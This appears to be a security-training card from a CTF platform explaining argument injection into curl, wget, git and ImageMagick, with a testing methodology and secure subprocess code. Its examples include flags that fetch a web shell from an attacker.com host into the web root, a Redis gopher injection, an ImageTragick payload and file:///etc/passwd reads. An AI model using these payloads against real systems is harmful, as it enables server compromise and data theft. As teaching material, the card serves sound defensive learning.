Browse CTFs New CTF Sign in

Argument injection

web_auth_sessions Difficulty 1–5 30 min certifiable

Theory

Why This Matters

Argument injection represents a subtler and frequently overlooked injection class that exists between OS command injection and business logic abuse. CVE-2016-3714 (ImageTragick) demonstrated that ImageMagick delegate rules could be manipulated via crafted filenames to execute OS commands — an argument injection variant that affected a large fraction of image-processing web applications. CVE-2021-21985 (VMware vCenter) involved argument injection into a curl invocation. Unlike command injection, argument injection does not require breaking out of the shell context — the attacker stays within the CLI tool's intended argument parser but adds flags the developer did not anticipate.

Core Concept

Argument injection occurs when user-controlled data is passed as part of a command-line argument list to an external program, and the program interprets the injected content as additional flags or options rather than as a data value. The violated invariant is that user data should be a parameter value, not a parameter name or flag.

The attacker precondition is that: (1) an application invokes an external CLI tool (curl, git, ffmpeg, ImageMagick, ssh, rsync, wget) with a user-supplied value somewhere in the argument list; (2) the user input is not fully validated against an allowlist of safe values.

The distinction from OS command injection is critical: argument injection does not use shell metacharacters (;, &&, |) and does not break out of the current process. Instead, it abuses the CLI tool's own option parser. For example, if an application runs curl <user_url>, the attacker does not inject ;id — instead they inject --config /var/www/html/uploads/evil.conf to make curl read an attacker-controlled configuration file, or -o /var/www/html/shell.php http://attacker.com/shell.php to write a web shell to a publicly accessible path.

URL-based argument injection is particularly dangerous with curl: if the application passes a user-supplied URL to curl without validation, the attacker can supply file:///etc/passwd (file scheme for local file read) or dict://127.0.0.1:6379/info (SSRF via dict protocol to Redis). These are technically SSRF but are enabled by argument injection into curl.

ImageMagick ImageTragick (CVE-2016-3714) involved the filename field of an uploaded image being passed to ImageMagick's delegate mechanism, which used the filename to construct shell commands via %i substitution in delegate patterns — effectively allowing OS command injection through a crafted filename argument.

Technical Deep-Dive

# Application: generates thumbnail from uploaded image
# Backend: convert <user_filename> -resize 200x200 thumbnail.jpg
# (convert is ImageMagick)

# Argument injection via filename:
# Filename: -write /var/www/html/shell.php
# Resulting command:
convert -write /var/www/html/shell.php -resize 200x200 thumbnail.jpg
# ImageMagick writes the input image to the web root as shell.php

# ImageTragick (CVE-2016-3714) — MVG/MSL delegate injection:
# Upload a file named: |id; #.jpg   (on vulnerable ImageMagick versions)
# Or craft a .mvg file containing:
push graphic-context
  viewbox 0 0 640 480
  fill 'url(https://example.com/image.jpg"|id; echo "dummy)'
pop graphic-context
# curl argument injection
# Application: curl <user_supplied_url> to fetch a remote resource
# Attacker-supplied "URL":
--config /tmp/evil.conf http://legitimate.example.com
# curl reads /tmp/evil.conf as a config file (if attacker can write there)

# File read via curl schemes (SSRF/file read):
file:///etc/passwd
dict://127.0.0.1:6379/info    # Redis info disclosure
gopher://127.0.0.1:6379/_*1%0d%0a...  # Redis command injection via gopher

# git argument injection
# Application: git clone <user_repo_url>
# Attacker-supplied URL:
--upload-pack=touch${IFS}/tmp/pwned http://legitimate.example.com/repo
# git passes --upload-pack value to the remote, enabling command execution
# on the client side in some git versions

# wget argument injection:
# Attacker-supplied URL:
-O /var/www/html/backdoor.php http://attacker.com/shell.php
# wget writes shell to web root
# Secure subprocess invocation — always use argument list, never shell=True
import subprocess

# VULNERABLE:
url = request.args.get('url')
subprocess.run(f'curl {url}', shell=True)   # shell=True + string = command injection

# ALSO VULNERABLE (argument injection, no shell injection):
subprocess.run(['curl', url])   # shell=False but url can contain --flags

# SECURE — validate before passing:
import re
def is_safe_url(u):
    return bool(re.match(r'^https?://[a-zA-Z0-9.-/]+$', u))

if not is_safe_url(url):
    abort(400)
subprocess.run(['curl', '--', url])   # -- signals end of options in most tools
# After --, all arguments are treated as positional values, not flags

Security Assessment Methodology

  1. Identify CLI-invoking functionality — Look for image processing, file conversion, network fetch, version control, PDF generation, and archiving features. These commonly shell out to external tools.
  2. Determine the invoked tool — Identify whether the application uses curl, wget, ImageMagick, git, ffmpeg, or similar. Error messages, response headers, and application source often reveal this.
  3. Test with leading-dash values — Submit values starting with - and -- to test whether the tool's option parser accepts them. For example: filename -version, URL --help.
  4. Test known dangerous flags for each tool — curl: --config, -o, --proxy; ImageMagick: -write, -set; wget: -O, --config; git: --upload-pack, --exec-path.
  5. Test file-scheme and alternative protocols — For URL parameters fed to curl/wget: file:///etc/passwd, dict://, gopher://.
  6. Test -- terminator bypass — Verify whether the application already uses -- to terminate options. If not, confirm that flag injection is possible.
  7. Document the injected flag, the resulting behaviour, and the impact (file write location, data read, network access) in the report.

Defensive Countermeasure — Pass -- (double-dash) before any user-supplied value to signal the end of CLI options to the target program (supported by curl, ImageMagick convert, wget, rsync, and most POSIX tools). Validate user-supplied values against a strict allowlist before use — for URLs, enforce https:// prefix and domain allowlist; for filenames, strip leading dashes and path separators. Where possible, use native library equivalents instead of CLI tools: Python's requests library instead of subprocess curl, Pillow instead of ImageMagick CLI, GitPython instead of git subprocess calls.

Common Assessment Errors

  • Treating argument injection as OS command injection — The exploitation payloads are fundamentally different. Shell metacharacters test for command injection; leading-dash flag values test for argument injection. Using only one set of payloads misses the other class.
  • Not researching the specific tool's dangerous flags — Each CLI tool has a unique set of dangerous options. Generic payload lists miss tool-specific risks. Always research the man page for write, execute, and config-load options.
  • Missing URL scheme injection — For curl/wget, treating URL injection as a pure SSRF issue rather than also testing argument flags misses half the attack surface.
  • Overlooking ImageMagick as a vector — Image upload features are ubiquitous. Any application that processes uploaded images is a candidate for ImageMagick argument/delegate injection.
  • Not testing filenames as injection vectors — Filenames are passed as arguments and are often insufficiently validated. Test filenames with leading dashes, path traversal sequences, and shell metacharacters.
  • Assuming shell=False prevents argument injection — Using subprocess.run([cmd, user_input]) with shell=False prevents OS command injection but does NOT prevent argument injection. The user input is still passed to the tool's option parser.

NICE Framework Alignment

Code Knowledge/Skill/Task Statement How This Card Develops It
K0009 Knowledge of application vulnerabilities Develops understanding of argument injection as distinct from command injection with different payloads and mitigations
K0070 Knowledge of system and application security threats and vulnerabilities Covers tool-specific dangerous flags for curl, wget, ImageMagick, and git
S0001 Skill in conducting vulnerability scans Trains systematic flag-injection testing and tool-specific payload research
S0044 Skill in mimicking threat behaviors Builds adversarial skill in identifying and exploiting CLI tool option parsers
T0028 Test system security controls Covers subprocess invocation review and -- terminator usage verification
T0591 Perform penetration testing Provides complete argument injection methodology for common CLI tools

Further Reading

  • Argument Injection and Getting Past Filters — Wiley / OWASP Testing Guide supplement
  • CVE-2016-3714: ImageMagick Delegate Injection (ImageTragick) — ImageTragick.com disclosure
  • Argument Injection When Bypassing Server-Side Argument Filters — PortSwigger Research Blog

Challenge Lab

Reinforce your learning with a hands-on generated challenge based on this card's competency.